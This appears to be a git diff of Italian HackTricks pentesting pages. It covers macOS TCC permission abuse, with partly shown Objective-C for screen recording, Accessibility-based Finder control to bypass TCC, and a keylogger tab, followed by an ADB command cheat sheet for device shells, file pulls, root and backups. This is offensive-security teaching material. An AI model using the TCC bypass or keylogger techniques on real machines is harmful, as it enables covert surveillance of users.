{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjectiveC" %}
|
||||||
Scrivi la posizione in `/tmp/logs.txt`
|
Scrivi la posizione in `/tmp/logs.txt`
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -670,23 +643,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
{% tab title="Shell" %}
|
||||||
Ottieni accesso alla posizione
|
Ottieni accesso alla posizione
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```
|
```
|
||||||
???
|
???
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
|
### Registrazione dello Schermo
|
||||||
|
|
||||||
|
* **Autorizzazione**: Nessuna
|
||||||
|
* **TCC**: `kTCCServiceScreenCapture`
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="undefined" %}
|
{% tab title="ObjectiveC" %}
|
||||||
Registra lo schermo principale per 5 secondi in `/tmp/screen.mov`
|
Registra lo schermo principale per 5s in `/tmp/screen.mov`
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -743,29 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
Registra lo schermo principale per 5 secondi
|
Registra lo schermo principale per 5s
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
screencapture -V 5 /tmp/screen.mov
|
screencapture -V 5 /tmp/screen.mov
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
### Accessibilità
|
||||||
#### Accessibilità
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
* **Autorizzazione**: Nessuna
|
||||||
* **Entitlement**: Nessuno
|
|
||||||
* **TCC**: `kTCCServiceAccessibility`
|
* **TCC**: `kTCCServiceAccessibility`
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
Usa il privilegio TCC per accettare il controllo del Finder premendo invio e bypassare TCC in questo modo
|
||||||
Utilizza il privilegio TCC per accettare il controllo di Finder premendo il tasto Invio e bypassare TCC in questo modo
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="undefined" %}
|
{% tabs %}
|
||||||
|
{% tab title="Accetta TCC" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -819,8 +784,7 @@ return 0;
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Keylogger" %}
|
{% tab title="Keylogger" %}
|
||||||
Salva i tasti premuti in **`/tmp/keystrokes.txt`**
|
Memorizza i tasti premuti in **`/tmp/keystrokes.txt`**
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -928,19 +892,20 @@ return 0;
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**L'accessibilità è un permesso molto potente**, potresti abusarne in altri modi, ad esempio potresti eseguire l'attacco delle **keystrokes** solo da essa senza dover chiamare System Events.
|
**L'accessibilità è un permesso molto potente**, potresti abusarne in altri modi, ad esempio potresti eseguire l'**attacco ai tasti** solo da essa senza dover chiamare System Events.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,17 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||||
|
@ -60,16 +61,17 @@ Altri modi per supportare HackTricks:
|
||||||
{% embed url="https://ippsec.rocks/" %}
|
{% embed url="https://ippsec.rocks/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,19 +1,20 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**Adb di solito si trova in:**
|
**Adb si trova solitamente in:**
|
||||||
```bash
|
```bash
|
||||||
#Windows
|
#Windows
|
||||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||||
|
@ -27,25 +28,25 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||||
```
|
```
|
||||||
adb devices
|
adb devices
|
||||||
```
|
```
|
||||||
Questo elencherà i dispositivi connessi; se appare "_**non autorizzato**_", significa che devi **sbloccare** il tuo **telefono** e **accettare** la connessione.
|
Questo elencherà i dispositivi connessi; se appare "_**non autorizzato**_", significa che devi **sbloccare** il tuo **mobile** e **accettare** la connessione.
|
||||||
|
|
||||||
Questo indica al dispositivo di avviare un server adb sulla porta 5555:
|
Questo indica al dispositivo che deve avviare un server adb sulla porta 5555:
|
||||||
```
|
```
|
||||||
adb tcpip 5555
|
adb tcpip 5555
|
||||||
```
|
```
|
||||||
Connettiti a quell'IP e a quella porta:
|
Collegati a quell'IP e a quella Porta:
|
||||||
```
|
```
|
||||||
adb connect <IP>:<PORT>
|
adb connect <IP>:<PORT>
|
||||||
```
|
```
|
||||||
Se si verifica un errore come il seguente in un software Android virtuale (come Genymotion):
|
Se ricevi un errore come il seguente in un software Android virtuale (come Genymotion):
|
||||||
```
|
```
|
||||||
adb server version (41) doesn't match this client (36); killing...
|
adb server version (41) doesn't match this client (36); killing...
|
||||||
```
|
```
|
||||||
È perché stai cercando di connetterti a un server ADB con una versione diversa. Prova semplicemente a trovare il file binario adb che il software sta utilizzando (vai su `C:\Program Files\Genymobile\Genymotion` e cerca adb.exe)
|
È perché stai cercando di connetterti a un server ADB con una versione diversa. Prova a trovare il binario adb che il software sta utilizzando (vai su `C:\Program Files\Genymobile\Genymotion` e cerca adb.exe)
|
||||||
|
|
||||||
## Diversi dispositivi
|
## Diversi dispositivi
|
||||||
|
|
||||||
Ogni volta che trovi **diversi dispositivi collegati al tuo computer**, dovrai **specificare su quale** desideri eseguire il comando adb.
|
Ogni volta che trovi **diversi dispositivi collegati al tuo computer** dovrai **specificare in quale** vuoi eseguire il comando adb.
|
||||||
```bash
|
```bash
|
||||||
adb devices
|
adb devices
|
||||||
List of devices attached
|
List of devices attached
|
||||||
|
@ -60,14 +61,14 @@ root
|
||||||
```
|
```
|
||||||
## Port Tunneling
|
## Port Tunneling
|
||||||
|
|
||||||
Nel caso in cui la **porta adb** sia accessibile solo da **localhost** sul dispositivo Android ma **hai accesso tramite SSH**, puoi **inoltrare la porta 5555** e connetterti tramite adb:
|
Nel caso in cui la **porta** **adb** sia **accessibile** solo da **localhost** nel dispositivo android ma **hai accesso tramite SSH**, puoi **inoltrare la porta 5555** e connetterti tramite adb:
|
||||||
```bash
|
```bash
|
||||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||||
adb connect 127.0.0.1:5555
|
adb connect 127.0.0.1:5555
|
||||||
```
|
```
|
||||||
# Gestore dei pacchetti
|
# Packet Manager
|
||||||
|
|
||||||
## Installa/Disinstalla
|
## Installa/Rimuovi
|
||||||
|
|
||||||
### adb install \[opzione] \<percorso>
|
### adb install \[opzione] \<percorso>
|
||||||
```bash
|
```bash
|
||||||
|
@ -85,9 +86,7 @@ adb install -d test.apk # allow version code downgrade
|
||||||
|
|
||||||
adb install -p test.apk # partial application install
|
adb install -p test.apk # partial application install
|
||||||
```
|
```
|
||||||
### adb uninstall \[opzioni] \<PACKAGE>
|
### adb disinstalla \[opzioni] \<PACCHETTO>
|
||||||
|
|
||||||
Questa opzione viene utilizzata per disinstallare un'applicazione dal dispositivo Android tramite il comando adb. Per utilizzare questo comando, è necessario specificare il nome del pacchetto dell'applicazione che si desidera disinstallare.
|
|
||||||
```bash
|
```bash
|
||||||
adb uninstall com.test.app
|
adb uninstall com.test.app
|
||||||
|
|
||||||
|
@ -97,7 +96,7 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
|
||||||
|
|
||||||
Stampa tutti i pacchetti, opzionalmente solo quelli il cui nome del pacchetto contiene il testo in \<FILTER>.
|
Stampa tutti i pacchetti, opzionalmente solo quelli il cui nome del pacchetto contiene il testo in \<FILTER>.
|
||||||
|
|
||||||
### adb shell pm list packages \[opzioni] \<FILTER-STR>
|
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||||
```bash
|
```bash
|
||||||
adb shell pm list packages <FILTER-STR>
|
adb shell pm list packages <FILTER-STR>
|
||||||
|
|
||||||
|
@ -119,7 +118,7 @@ adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to quer
|
||||||
```
|
```
|
||||||
### adb shell pm path \<PACKAGE>
|
### adb shell pm path \<PACKAGE>
|
||||||
|
|
||||||
Stampa il percorso dell'APK del .
|
Stampa il percorso dell'APK del dato .
|
||||||
```bash
|
```bash
|
||||||
adb shell pm path com.android.phone
|
adb shell pm path com.android.phone
|
||||||
```
|
```
|
||||||
|
@ -129,31 +128,31 @@ Elimina tutti i dati associati a un pacchetto.
|
||||||
```bash
|
```bash
|
||||||
adb shell pm clear com.test.abc
|
adb shell pm clear com.test.abc
|
||||||
```
|
```
|
||||||
# Gestore di file
|
# File Manager
|
||||||
|
|
||||||
### adb pull \<remote> \[locale]
|
### adb pull \<remote> \[local]
|
||||||
|
|
||||||
Scarica un file specificato da un emulatore/dispositivo al tuo computer.
|
Scarica un file specificato da un emulatore/dispositivo al tuo computer.
|
||||||
```bash
|
```bash
|
||||||
adb pull /sdcard/demo.mp4 ./
|
adb pull /sdcard/demo.mp4 ./
|
||||||
```
|
```
|
||||||
### adb push \<locale> \<remoto>
|
### adb push \<local> \<remote>
|
||||||
|
|
||||||
Carica un file specificato dal tuo computer su un emulatore/dispositivo.
|
Carica un file specificato dal tuo computer a un emulatore/dispositivo.
|
||||||
```bash
|
```bash
|
||||||
adb push test.apk /sdcard
|
adb push test.apk /sdcard
|
||||||
```
|
```
|
||||||
# Cattura schermo/Registrazione schermo
|
# Screencapture/Screenrecord
|
||||||
|
|
||||||
### adb shell screencap \<nomefile>
|
### adb shell screencap \<filename>
|
||||||
|
|
||||||
Effettua una cattura dello schermo del dispositivo.
|
Catturare uno screenshot del display di un dispositivo.
|
||||||
```bash
|
```bash
|
||||||
adb shell screencap /sdcard/screen.png
|
adb shell screencap /sdcard/screen.png
|
||||||
```
|
```
|
||||||
### adb shell screenrecord \[opzioni] \<nomefile>
|
### adb shell screenrecord \[options] \<filename>
|
||||||
|
|
||||||
Registra la visualizzazione dei dispositivi che eseguono Android 4.4 (API level 19) e versioni successive.
|
Registrazione del display dei dispositivi che eseguono Android 4.4 (API level 19) e versioni superiori.
|
||||||
```bash
|
```bash
|
||||||
adb shell screenrecord /sdcard/demo.mp4
|
adb shell screenrecord /sdcard/demo.mp4
|
||||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||||
|
@ -162,9 +161,9 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
|
||||||
adb shell screenrecord --rotate # Rotates 90 degrees
|
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||||
adb shell screenrecord --verbose
|
adb shell screenrecord --verbose
|
||||||
```
|
```
|
||||||
(premi Ctrl-C per interrompere la registrazione)
|
(press Ctrl-C to stop recording)
|
||||||
|
|
||||||
**Puoi scaricare i file (immagini e video) utilizzando **_**adb pull**_
|
**Puoi scaricare i file (immagini e video) usando **_**adb pull**_
|
||||||
|
|
||||||
# Shell
|
# Shell
|
||||||
|
|
||||||
|
@ -182,7 +181,7 @@ adb shell ls
|
||||||
```
|
```
|
||||||
## pm
|
## pm
|
||||||
|
|
||||||
I seguenti comandi vengono eseguiti all'interno di una shell.
|
I seguenti comandi vengono eseguiti all'interno di una shell
|
||||||
```bash
|
```bash
|
||||||
pm list packages #List installed packages
|
pm list packages #List installed packages
|
||||||
pm path <package name> #Get the path to the apk file of tha package
|
pm path <package name> #Get the path to the apk file of tha package
|
||||||
|
@ -193,7 +192,7 @@ input [text|keyevent] #Send keystrokes to device
|
||||||
```
|
```
|
||||||
# Processi
|
# Processi
|
||||||
|
|
||||||
Se desideri ottenere il PID del processo della tua applicazione, puoi eseguire:
|
Se vuoi ottenere il PID del processo della tua applicazione, puoi eseguire:
|
||||||
```bash
|
```bash
|
||||||
adb shell ps
|
adb shell ps
|
||||||
```
|
```
|
||||||
|
@ -209,48 +208,26 @@ E stamperà il PID dell'applicazione
|
||||||
```bash
|
```bash
|
||||||
adb root
|
adb root
|
||||||
```
|
```
|
||||||
Riavvia il demone adbd con i permessi di root. Successivamente, devi riconnetterti al server ADB e sarai root (se disponibile).
|
Riavvia il demone adbd con permessi di root. Poi, devi riconnetterti al server ADB e sarai root (se disponibile)
|
||||||
```bash
|
```bash
|
||||||
adb sideload <update.zip>
|
adb sideload <update.zip>
|
||||||
```
|
```
|
||||||
# Ripristino/aggiornamento pacchetti Android update.zip.
|
flashing/restoring Android update.zip packages.
|
||||||
|
|
||||||
# Log
|
# Logs
|
||||||
|
|
||||||
## Logcat
|
## Logcat
|
||||||
|
|
||||||
Per **filtrare i messaggi di una sola applicazione**, ottieni il PID dell'applicazione e utilizza grep (linux/macos) o findstr (windows) per filtrare l'output di logcat:
|
Per **filtrare i messaggi di un'unica applicazione**, ottieni il PID dell'applicazione e usa grep (linux/macos) o findstr (windows) per filtrare l'output di logcat:
|
||||||
```bash
|
```bash
|
||||||
adb logcat | grep 4526
|
adb logcat | grep 4526
|
||||||
adb logcat | findstr 4526
|
adb logcat | findstr 4526
|
||||||
```
|
```
|
||||||
### adb logcat \[opzione] \[specifiche-filtro]
|
### adb logcat \[opzione] \[filtri-spec]
|
||||||
|
|
||||||
Il comando `adb logcat` consente di visualizzare i log del sistema Android su un dispositivo collegato tramite ADB (Android Debug Bridge). È possibile utilizzare diverse opzioni e specifiche di filtro per personalizzare l'output dei log.
|
|
||||||
|
|
||||||
**Opzioni:**
|
|
||||||
|
|
||||||
- `-d` : Mostra i log correnti e termina.
|
|
||||||
- `-f <file>` : Salva i log in un file specificato.
|
|
||||||
- `-r <kbytes>` : Limita la dimensione del file di log a un numero specificato di kilobyte.
|
|
||||||
- `-n <count>` : Limita il numero di file di log mantenuti.
|
|
||||||
- `-v <format>` : Specifica il formato di output dei log. I formati disponibili includono brief, process, tag, thread, raw, time, threadtime e long.
|
|
||||||
|
|
||||||
**Specifiche di filtro:**
|
|
||||||
|
|
||||||
Le specifiche di filtro consentono di filtrare i log in base a determinati criteri. Alcuni esempi di specifiche di filtro includono:
|
|
||||||
|
|
||||||
- `*:S` : Mostra tutti i log con priorità di livello "silenziato" o superiore.
|
|
||||||
- `TAG:V` : Mostra tutti i log per il tag specificato con priorità di livello "verbose" o superiore.
|
|
||||||
- `TAG:D *:S` : Mostra tutti i log per il tag specificato con priorità di livello "debug" o superiore e silenzia tutti gli altri log.
|
|
||||||
|
|
||||||
È possibile combinare più specifiche di filtro utilizzando l'operatore `;`. Ad esempio, `TAG1:V TAG2:D` mostrerà i log per entrambi i tag con priorità di livello "verbose" e "debug" rispettivamente.
|
|
||||||
|
|
||||||
Per ulteriori informazioni sulle opzioni e le specifiche di filtro disponibili, consultare la documentazione ufficiale di ADB.
|
|
||||||
```bash
|
```bash
|
||||||
adb logcat
|
adb logcat
|
||||||
```
|
```
|
||||||
Note: premi Ctrl-C per interrompere il monitoraggio
|
Note: premi Ctrl-C per fermare il monitor
|
||||||
```bash
|
```bash
|
||||||
adb logcat *:V # lowest priority, filter to only show Verbose level
|
adb logcat *:V # lowest priority, filter to only show Verbose level
|
||||||
|
|
||||||
|
@ -267,8 +244,6 @@ adb logcat *:F # filter to only show Fatal level
|
||||||
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
adb logcat *:S # Silent, highest priority, on which nothing is ever printed
|
||||||
```
|
```
|
||||||
### adb logcat -b \<Buffer>
|
### adb logcat -b \<Buffer>
|
||||||
|
|
||||||
Il comando `adb logcat -b \<Buffer>` viene utilizzato per visualizzare i log del buffer specificato. I buffer disponibili includono `main`, `system`, `radio`, `events` e `crash`. Questo comando è utile per analizzare i log di un'applicazione Android e identificare eventuali errori o problemi.
|
|
||||||
```bash
|
```bash
|
||||||
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
adb logcat -b # radio View the buffer that contains radio/telephony related messages.
|
||||||
|
|
||||||
|
@ -288,9 +263,9 @@ adb logcat -n <count> # Sets the maximum number of rotated logs to <count>.
|
||||||
```
|
```
|
||||||
## dumpsys
|
## dumpsys
|
||||||
|
|
||||||
esegue il dump dei dati di sistema
|
dump dei dati di sistema
|
||||||
|
|
||||||
### adb shell dumpsys \[opzioni]
|
### adb shell dumpsys \[options]
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys
|
adb shell dumpsys
|
||||||
|
|
||||||
|
@ -298,7 +273,7 @@ adb shell dumpsys meminfo
|
||||||
|
|
||||||
adb shell dumpsys battery
|
adb shell dumpsys battery
|
||||||
```
|
```
|
||||||
Note: Un dispositivo mobile con le Opzioni Sviluppatore abilitate che esegue Android 5.0 o versioni successive.
|
Notes: Un dispositivo mobile con le Opzioni Sviluppatore abilitate che esegue Android 5.0 o superiore.
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys batterystats collects battery data from your device
|
adb shell dumpsys batterystats collects battery data from your device
|
||||||
```
|
```
|
||||||
|
@ -310,7 +285,7 @@ adb shell dumpsys activity
|
||||||
|
|
||||||
# Backup
|
# Backup
|
||||||
|
|
||||||
Esegui il backup di un dispositivo Android tramite adb.
|
Esegui il backup di un dispositivo Android da adb.
|
||||||
```bash
|
```bash
|
||||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||||
# -apk -- Include APK from Third partie's applications
|
# -apk -- Include APK from Third partie's applications
|
||||||
|
@ -326,16 +301,17 @@ Se vuoi ispezionare il contenuto del backup:
|
||||||
```bash
|
```bash
|
||||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
